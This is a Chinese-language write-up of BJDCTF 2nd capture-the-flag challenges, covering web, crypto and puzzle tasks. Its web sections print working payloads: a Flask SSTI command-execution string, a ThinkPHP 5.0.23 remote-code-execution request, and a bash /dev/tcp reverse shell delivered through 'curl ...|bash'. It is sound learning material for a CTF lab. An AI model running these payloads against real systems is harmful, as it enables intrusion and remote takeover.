BJDCTF-WP


BJDCTF 2nd WP

引言

  • 由於在備考,所以沒多少時間做,並且也實屬是菜,所以就做了幾個題目,這里就分享一下啦 Hi~ o( ̄▽ ̄)ブ

[BJDCTF 2nd]fake google

知識點:SSTI

  • 這個最近練得比較多了,所以是做出來的第一個Web,考的還是flask框架的ssti,並且沒做太多的現在,就是在最后讀取flag的時候稍加了一些套路,要base64一下讀取文件
  • 我是利用的warnings.catch_warnings進行的eval命令執行,最常用的 好像沒有找到,所以就找了這個
  • 先還是使用{{[].__class__.__mro__[1].__subclasses__()}}獲取基本類的子類,然后直接ctrl+F查找可以使用的方法
    BJD
    發現存在,由於發現不能直接使用index()查找索引,所以復制出來獲取其索引,發現是第169,然后使用
    {{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
    發現成功執行
    BJD
  • 剩下就是命令執行,遍歷目錄,讀取flag,這里要說一下的就是,讀取flag時,對讀取的文件內容有所過濾,所以要base64一下讀取
    {{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("echo``cat /flag``| base64").read()')}}
  • 注:這里博客園的Markdown不知道為什么轉移不了反斜號,cat /flag只要一對反引號就行了 (lll¬ω¬)
    BJD
  • 最后解碼一下即可得到flag

[BJDCTF 2nd]old-hack

知識點:ThinkPHP5.0.23 遠程RCE

  • 這題首頁就已經有了提示,顯示的Powered by THINKPHP5,直接聯想到tp5的漏洞,直接搜exp打即可
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要開啟框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

成功執行,剩下直接讀取根目錄下的flag即可
BJD

[BJDCTF 2nd]duangShell

知識點:反彈shell

題目環境准備

  • 花了好久終於把這里弄懂了,現在記錄一下
  • 這題由於是賽后才做的,所以就只能在BUUCTF上做了,由於之前對反彈shell那一套不怎么了解,所以花了好久
  • 由於這題的環境靶機無法訪問外網,所以需要一個內網靶機來做,這里就直接用了題目中推薦的Basic中的Linux Labs,由於這台靶機已經安裝了lamp,已指出http服務,所以在Labs/var/www/html新建一個能反彈shell的命令文件,命令:bash -i >& /dev/tcp/ip/port 0>&1,ip是內網靶機的ipport可以隨意指定
  • 注:這句話是指將Bash直接反彈一個shell到指定ip端口(部分linux發行版中支持),而且/dev/tcp這個文件實際不存在,而當你在監聽這個端口的時候,對這個文件進行讀寫,就相當於實現兩個主機之間的socket通信
  • 文件環境弄好后,只要在靶機上監聽端口就可以利用反彈的shell尋找flag

解題

  • 頁面提示源碼可以通過.swp備份文件獲取,遂下載,然后使用vim -r index.php.swp恢復備份文件
    BJD
    這里由於是exec,他不會回顯結果,並且有過濾了太多命令,但是沒有限制curl,所以可以使用curl xxxx|bash來實現
  • 這里要設置並傳值給girl_friend
    BJD
  • 這里我的理解是讓題目的bash直接執行curl訪問我們寫有反彈shell命令文件的內網靶機,遂實現將題目shell反彈
    然后再在靶機上監聽,即可獲取到題目shell
    BJD
  • 直接find查找flag
    find / -name flag
    BJD
  • /flag下的是假的,所以直接cat /etc/demo/P3rh4ps/love/you/flag得到flag

[BJDCTF 2nd]假豬套天下第一

知識點:Http header

  • 這題用到了好多header相關的知識,有好多header字段屬實不詳細去細究的話,說實話做這個題難度會增加不少
  • 大家可以看一下這個文章,有比較詳細的header的介紹https://blog.csdn.net/qq_42350419/article/details/82841192
  • 解題:首先打開是個登錄界面,嘗試萬能密碼登錄發現登錄成功,但是似乎沒什么用處,遂嘗試使用BP抓包查看一下,在Raw的最后面注釋里發現玄機<!-- L0g1n.php -->
  • 嘗試訪問,發現這下才步入正軌
    BJD
    猜測與時間戳相關,BP中發現header中有time字樣,判斷是時間戳,又提示要99年后,遂設置2120年的時間戳,可以用python生成,設置time=4738550112
import datetime
ctime = datetime.datetime.strptime('Feb 28, 2120 03:55:12 PM', '%b %d, %Y %I:%M:%S %p').timestamp()
ctime
4738550112.0
  • 而后進入下一層,提示要本地訪問,從以前的做題經驗來說常用的是X-Forwared-ForCilent-IP,這里貌似只能用Client-IP,設置Client-IP=127.0.0.1兩者從本質上來收都是實現的反向代理,其差別可見這篇文章https://www.zhihu.com/question/264264051
  • 再進入下一層,提示要使發送請求的來源為gem-love.com,故設置Referer=gem-love.com(注:直接這個域名即可,不用加https://)
  • 再進一步,提示訪問browsers要是Commodo 64,所以要設置User-Agent,google一下發現是Commodore 64,設置一下Ua為這個就行了
  • 再到下一層,提示要使發送請求的郵箱使root@gem-love.com,這里在上面的鏈接中有提到,是From字段,遂設置From =root@gem-love.com
  • 進入下層,提示要使用y1ng.vip的代理,查閱之后發現,via字段可以顯示經過了哪些代理后才到目標服務器了,也就是說使用了哪種代理,剛好符合這里的意思。遂設置via=y1ng.vip
  • 終於到了最后,但是發現仍獲取不到flag,一開始還以為要設置is-admin=1,最后在源碼里發現一串base64,解密后就是flag
    BJD
    BJD

[BJDCTF 2nd]Schrödinger

知識點:BP抓包,修改cookie,時間戳

  • 這題有一點腦洞,查看源碼發現了有一個test.php,訪問發現是一個登錄界面,先嘗試萬能密碼登錄,發現不行,而后嘗試BP爆破密碼,發現思路仍然不對,最后發現首頁最下面還有一個框,而后,大致看了一下那段話,發現這個頁面似乎就可以爆破密碼,於是將test.php的url填入,發現開始爆破,真就這樣就行了?答案是否定的,看下面時間的進行十分緩慢,等它爆破完成估計不知道要多久了,於是BP抓一下包,發現在Cookie中有一串base64dXNlcg=MTU4NTIzMDc2OQ%3D%3Ddecode之后發現是時間戳,難道是要把這個時間改大一點,他就可以快速爆破完成了?然而還是沒有那么簡單,我嘗試改到2200年,發現仍然不行,最后才發現,將其置空的話,進度竟然一下就到了99%,而后在check一下,發現爆破雖然成功了,但是還是沒有flag,卻給了一個av號,去B站搜了一下,最后在評論區發現了flag,不得不說這題腦洞屬實有點大
    BJD

[BJDCTF 2nd]老文盲了

知識點:腦洞

  • 這題實屬時坑加腦洞,直接將文字搜索一下,讀一下拼音就發現了端倪,最后交flag的時候注意刪掉大括號這幾個字
    BJD
    flag:BJD{淛匶襫黼瀬鎶軄鶛驕鰳哵}

[BJDCTF 2nd]cat_flag

知識點:二進制轉字符串

  • 一開始沒反應過來,后來試着把有雞腿的記為0,沒雞腿的記為1,化成01二進制字符串,再轉ASCII碼即可

[BJDCTF 2nd]靈能精通-y1ng

知識點:變種豬圈密碼

  • 變種豬圈密碼,找一下碼表對着改一下就好了
    BJD

[BJDCTF 2nd]燕言燕語-y1ng

知識點: 十六進制,維吉尼亞密碼

  • 先十六進制轉字符串,然后再維吉尼亞密碼解密,密鑰就是yanzi
    BJD

[BJDCTF 2nd]Y1nglish-y1ng

知識點:替換密碼

  • 直接在線解密,發現flag不對,最后出題人放出hint,說要把錯誤單詞改正后提交,遂發現最后一個單詞應該是 Cr4ck
    BJD

[BJDCTF 2nd]rsa0

知識點:基本RSA套路,初中數學

  • 等量代換,將已知的p+q,p-q轉換到我們所需要的phi和n,然后求逆元d,最后再求解m即可
  • exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa0

import gmpy2
from Crypto.Util.number import *
#a=p+q b=p-q
a=17162353559144679042138764130392599487619616736304807356650753313511074468547740997240459020330637407607018451370757739841162760390979956823381951345720928
b=2157944102411263994709908806124613607462762078172843352748093273937884682449698667594757978254948952712563313245682739933249064978139449404711197573108846
c=45301241949589301995180160804303973330820405560962297548184980689249607707456658111351805771592837881785351326731109851752124118781776273507359216672384415019593182742168977641581393719509221130849808495779942628017133428896872236441436256500653209906562574669595813780702154561337014309513479940699909759454
e=13881611

n=(a**2-b**2) //4

phi=n-a+1

d=int(gmpy2.invert(e,phi))

m=pow(c,d,n)

print(long_to_bytes(m))

[BJDCTF 2nd]rsa1

知識點:同上

  • 仍然是等量代換
  • exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa1

from gmpy2 import iroot,invert
from Crypto.Util.number import *

#p**2+q**2=a
a=230282632694523225937051344416173208141003770756289612804807217657804068791542651564838194212104676551997764018460879226166807005433546876007288091996196539309119708193341213288590014759087592722749150747027103386853090111834756105787095305838589646731702172385691220203268855509181738201501713929481838642498
#p-q=b
b=-4900116095386312405990409603053751102044890401512310635193158977344509279780138297206939893571426574257123980641762453196916366832983541826491201092272814
c=57305478781873469701906886706515374864936174293678370148185292603092343152208523838764818066602190494238364695329068029056956741411335604426893391963871703874286120587046383783936896139251516197205626486457338063805605931966769630762887820549045989322171833789694041829203743398401975653722227935420397574254
e=8671291

n=(b**2-a)//(-2)
temp=2*n+a
temp_1=iroot(temp,2)
#temp_1=20893877754997573728203567845738001284961182394065350971204621396499968057878195283639697317876340959595444095705767445958979789899779232673349184190305080
print(temp_1)
phi=n-temp_1+1
d=int(invert(e,phi))
m=pow(c,d,n)

print(long_to_bytes(m))

總結

  • 原本打算借這次機會練一下web,卻發現自己還是tcl,后續等官方wp出來后再去學習一下web的一些套路


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM